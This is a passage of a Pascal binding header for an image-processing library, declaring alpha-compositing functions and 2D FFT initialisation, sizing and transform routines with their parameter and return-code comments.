function ippiAlphaPremulC_16u_C1IR( alpha : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaComp_8u_AC4R, ippiAlphaComp_16u_AC4R
ippiAlphaComp_8s_AC4R, ippiAlphaComp_16s_AC4R
ippiAlphaComp_32s_AC4R,ippiAlphaComp_32u_AC4R
ippiAlphaComp_8u_AP4R, ippiAlphaComp_16u_AP4R
Purpose: Combines two 4-channel images using alpha values of both images
Parameters:
pSrc1 Pointer to the first source image for pixel-order data,
array of pointers to separate source color planes for planar data
src1Step Step through the first source image
pSrc2 Pointer to the second source image for pixel-order data,
array of pointers to separate source color planes for planar data
src2Step Step through the second source image
pDst Pointer to the destination image for pixel-order data,
array of pointers to separate destination color planes for planar data
dstStep Step through the destination image
roiSize Size of the source and destination ROI
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc1== NULL, or pSrc2== NULL, or pDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Note: Result is wrong, if Alpha < 0 for signed types
}
function ippiAlphaComp_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16u_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16s_AC4R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32s_AC4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32u_AC4R( pSrc1 : Ipp32uPtr ; src1Step : Int32 ; pSrc2 : Ipp32uPtr ; src2Step : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32f_AC4R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_8u_AP4R( pSrc1 : Ipp8u_4Ptr ; src1Step : Int32 ; pSrc2 : Ipp8u_4Ptr ; src2Step : Int32 ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16u_AP4R( pSrc1 : Ipp16u_4Ptr ; src1Step : Int32 ; pSrc2 : Ipp16u_4Ptr ; src2Step : Int32 ; pDst : Ipp16u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaComp_8u_AC1R, ippiAlphaComp_16u_AC1R
ippiAlphaComp_8s_AC1R, ippiAlphaComp_16s_AC1R
ippiAlphaComp_32s_AC1R, ippiAlphaComp_32u_AC1R
Purpose: Combines two 1-channel images using alpha values of both images
Parameters:
pSrc1 Pointer to the first source image
src1Step Step through the first source image
pSrc2 Pointer to the second source image
src2Step Step through the second source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the source and destination ROI
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc1== NULL, or pSrc2== NULL, or pDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Note: Result is wrong, if Alpha < 0 for signed types
}
function ippiAlphaComp_8u_AC1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16u_AC1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16s_AC1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32s_AC1R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32u_AC1R( pSrc1 : Ipp32uPtr ; src1Step : Int32 ; pSrc2 : Ipp32uPtr ; src2Step : Int32 ; pDst : Ipp32uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32f_AC1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_AC4R, ippiAlphaCompC_16u_AC4R
ippiAlphaCompC_8u_AP4R, ippiAlphaCompC_16u_AP4R
Purpose: Combines two 4-channel images using constant alpha values
Parameters:
pSrc1 Pointer to the first source image for pixel-order data,
array of pointers to separate source color planes for planar data
src1Step Step through the first source image
pSrc2 Pointer to the second source image for pixel-order data,
array of pointers to separate source color planes for planar data
src2Step Step through the second source image
pDst Pointer to the destination image for pixel-order data,
array of pointers to separate destination color planes for planar data
dstStep Step through the destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the first source image
alpha2 The constant alpha value for the second source image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc1== NULL, or pSrc2== NULL, or pDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Alpha-channel values (channel 4) remain without modifications
Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; alpha1 : Ipp8u ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; alpha2 : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; alpha1 : Ipp16u ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; alpha2 : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_8u_AP4R( pSrc1 : Ipp8u_4Ptr ; src1Step : Int32 ; alpha1 : Ipp8u ; pSrc2 : Ipp8u_4Ptr ; src2Step : Int32 ; alpha2 : Ipp8u ; pDst : Ipp8u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_AP4R( pSrc1 : Ipp16u_4Ptr ; src1Step : Int32 ; alpha1 : Ipp16u ; pSrc2 : Ipp16u_4Ptr ; src2Step : Int32 ; alpha2 : Ipp16u ; pDst : Ipp16u_4Ptr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_C4R, ippiAlphaCompC_16u_C4R
Purpose: Combines two 4-channel images using constant alpha values
Parameters:
pSrc1 Pointer to the first source image
src1Step Step through the first source image
pSrc2 Pointer to the second source image
src2Step Step through the second source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the first source image
alpha2 The constant alpha value for the second source image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc1== NULL, or pSrc2== NULL, or pDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; alpha1 : Ipp8u ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; alpha2 : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; alpha1 : Ipp16u ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; alpha2 : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_C3R, ippiAlphaCompC_16u_C3R
Purpose: Combines two 3-channel images using constant alpha values
Parameters:
pSrc1 Pointer to the first source image
src1Step Step through the first source image
pSrc2 Pointer to the second source image
src2Step Step through the second source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the first source image
alpha2 The constant alpha value for the second source image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc1== NULL, or pSrc2== NULL, or pDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; alpha1 : Ipp8u ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; alpha2 : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; alpha1 : Ipp16u ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; alpha2 : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_C1R, ippiAlphaCompC_16u_C1R
ippiAlphaCompC_8s_C1R, ippiAlphaCompC_16s_C1R
ippiAlphaCompC_32s_C1R, ippiAlphaCompC_32u_C1R
Purpose: Combines two 1-channel images using constant alpha values
Parameters:
pSrc1 Pointer to the first source image
src1Step Step through the first source image
pSrc2 Pointer to the second source image
src2Step Step through the second source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the first source image
alpha2 The constant alpha value for the second source image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc1== NULL, or pSrc2== NULL, or pDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; alpha1 : Ipp8u ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; alpha2 : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; alpha1 : Ipp16u ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; alpha2 : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16s_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; alpha1 : Ipp16s ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; alpha2 : Ipp16s ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_32s_C1R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; alpha1 : Ipp32s ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; alpha2 : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_32u_C1R( pSrc1 : Ipp32uPtr ; src1Step : Int32 ; alpha1 : Ipp32u ; pSrc2 : Ipp32uPtr ; src2Step : Int32 ; alpha2 : Ipp32u ; pDst : Ipp32uPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; alpha1 : Ipp32f ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; alpha2 : Ipp32f ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaComp_8u_AC4IR, ippiAlphaComp_16u_AC4IR
ippiAlphaComp_8s_AC4IR, ippiAlphaComp_16s_AC4IR
ippiAlphaComp_32s_AC4IR,ippiAlphaComp_32u_AC4IR
ippiAlphaComp_8u_AP4IR, ippiAlphaComp_16u_AP4IR
Purpose: Combines two 4-channel images using alpha values of both images
Parameters:
pSrc Pointer to the source image for pixel-order data,
array of pointers to separate source color planes for planar data
srcStep Step through the source image
pSrcDst Pointer to the source/destination image for pixel-order data,
array of pointers to separate source/destination color planes for planar data
srcDstStep Step through the source/destination image
roiSize Size of the source and destination ROI
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Note: Result is wrong, if Alpha < 0 for signed types
}
function ippiAlphaComp_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16s_AC4IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32s_AC4IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32u_AC4IR( pSrc : Ipp32uPtr ; srcStep : Int32 ; pSrcDst : Ipp32uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_8u_AP4IR( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; pSrcDst : Ipp8u_4Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaComp_16u_AP4IR( pSrc : Ipp16u_4Ptr ; srcStep : Int32 ; pSrcDst : Ipp16u_4Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_AC4IR, ippiAlphaCompC_16u_AC4IR
ippiAlphaCompC_8u_AP4IR, ippiAlphaCompC_16u_AP4IR
Purpose: Combines two 4-channel images using constant alpha values
Parameters:
pSrc Pointer to the source image for pixel-order data,
array of pointers to separate source color planes for planar data
srcStep Step through the source image
pSrcDst Pointer to the source/destination image for pixel-order data,
array of pointers to separate source/destination color planes for planar data
srcDstStep Step through the source/destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the source image
alpha2 The constant alpha value for the source/destination image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Alpha-channel values (channel 4) remain without modifications
Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha1 : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; alpha2 : Ipp8u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha1 : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; alpha2 : Ipp16u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_8u_AP4IR( pSrc : Ipp8u_4Ptr ; srcStep : Int32 ; alpha1 : Ipp8u ; pSrcDst : Ipp8u_4Ptr ; srcDstStep : Int32 ; alpha2 : Ipp8u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_AP4IR( pSrc : Ipp16u_4Ptr ; srcStep : Int32 ; alpha1 : Ipp16u ; pSrcDst : Ipp16u_4Ptr ; srcDstStep : Int32 ; alpha2 : Ipp16u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_C4IR, ippiAlphaCompC_16u_C4IR
Purpose: Combines two 4-channel images using constant alpha values
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pSrcDst Pointer to the source/destination image
srcDstStep Step through the source/destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the source image
alpha2 The constant alpha value for the source/destination image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_C4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha1 : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; alpha2 : Ipp8u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_C4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha1 : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; alpha2 : Ipp16u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_C3IR, ippiAlphaCompC_16u_C3IR
Purpose: Combines two 3-channel images using constant alpha values
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pSrcDst Pointer to the source/destination image
srcDstStep Step through the source/destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the source image
alpha2 The constant alpha value for the source/destination image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha1 : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; alpha2 : Ipp8u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_C3IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha1 : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; alpha2 : Ipp16u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAlphaCompC_8u_C1IR, ippiAlphaCompC_16u_C1IR
ippiAlphaCompC_8s_C1IR, ippiAlphaCompC_16s_C1IR
ippiAlphaCompC_32s_C1IR, ippiAlphaCompC_32u_C1IR
Purpose: Combines two 1-channel images using constant alpha values
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pSrcDst Pointer to the source/destination image
srcDstStep Step through the source/destination image
roiSize Size of the source and destination ROI
alpha1 The constant alpha value for the source image
alpha2 The constant alpha value for the source/destination image
alphaType The type of composition to perform
Returns:
ippStsNoErr No errors
ippStsNullPtrErr pSrc == NULL, or pSrcDst == NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsAlphaTypeErr The alphaType is incorrect
Notes: Value becomes 0 <= alphaA <= VAL_MAX
0 <= alphaB <= VAL_MAX
}
function ippiAlphaCompC_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; alpha1 : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; alpha2 : Ipp8u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; alpha1 : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; alpha2 : Ipp16u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_16s_C1IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; alpha1 : Ipp16s ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; alpha2 : Ipp16s ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_32s_C1IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; alpha1 : Ipp32s ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; alpha2 : Ipp32s ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_32u_C1IR( pSrc : Ipp32uPtr ; srcStep : Int32 ; alpha1 : Ipp32u ; pSrcDst : Ipp32uPtr ; srcDstStep : Int32 ; alpha2 : Ipp32u ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
function ippiAlphaCompC_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; alpha1 : Ipp32f ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; alpha2 : Ipp32f ; roiSize : IppiSize ; alphaType : IppiAlphaType ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Linear Transform Operations
----------------------------------------------------------------------------
Definitions for FFT Functions
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
FFT Context Functions
{ ----------------------------------------------------------------------------
Name: ippiFFTInit
Purpose: Initializes the FFT context structure
Arguments:
orderX Base-2 logarithm of the number of samples in FFT (width)
orderY Base-2 logarithm of the number of samples in FFT (height)
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
pFFTSpec Pointer to the FFT context structure
pMemInit Pointer to the temporary work buffer
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsFftOrderErr FFT order value is illegal
ippStsFFTFlagErr Incorrect normalization flag value
}
function ippiFFTInit_C_32fc( orderX : Int32 ; orderY : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pFFTSpec : IppiFFTSpec_C_32fcPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInit_R_32f( orderX : Int32 ; orderY : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pMemInit : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
FFT Size
{ ----------------------------------------------------------------------------
Name: ippiFFTGetSize
Purpose: Computes the size of the FFT context structure and the size
of the required work buffer (in bytes)
Arguments:
orderX Base-2 logarithm of the number of samples in FFT (width)
orderY Base-2 logarithm of the number of samples in FFT (height)
flag Flag to choose the results normalization factors
hint Option to select the algorithmic implementation of the transform
function
pSizeSpec Pointer to the size value of FFT specification structure
pSizeInit Pointer to the size value of the buffer for FFT initialization function
pSizeBuf Pointer to the size value of the FFT external work buffer
Return:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers is NULL
ippStsFftOrderErr FFT order value is illegal
ippStsFFTFlagErr Incorrect normalization flag value
}
function ippiFFTGetSize_C_32fc( orderX : Int32 ; orderY : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; var pSizeSpec : Int32 ; var pSizeInit : Int32 ; var pSizeBuf : Int32 ): IppStatus; _ippapi
function ippiFFTGetSize_R_32f( orderX : Int32 ; orderY : Int32 ; flag : Int32 ; hint : IppHintAlgorithm ; var pSizeSpec : Int32 ; var pSizeInit : Int32 ; var pSizeBuf : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
FFT Transforms
{ ----------------------------------------------------------------------------
Name: ippiFFTFwd, ippiFFTInv
Purpose: Performs forward or inverse FFT of an image
Parameters:
pFFTSpec Pointer to the FFT context structure
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place)
srcDstStep Step through the source/destination image (in-place)
pBuffer Pointer to the external work buffer
Returns:
ippStsNoErr No errors
ippStsNullPtrErr One of the specified pointers with the exception of
pBuffer is NULL
ippStsStepErr srcStep or dstStep value is zero or negative
ippStsContextMatchErr Invalid context structure
ippStsMemAllocErr Memory allocation error
}
function ippiFFTFwd_CToC_32fc_C1R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fcPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_CToC_32fc_C1R( pSrc : Ipp32fcPtr ; srcStep : Int32 ; pDst : Ipp32fcPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_C_32fcPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTFwd_RToPack_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_PackToR_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_PackToR_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFFTInv_PackToR_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; pFFTSpec : IppiFFTSpec_R_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
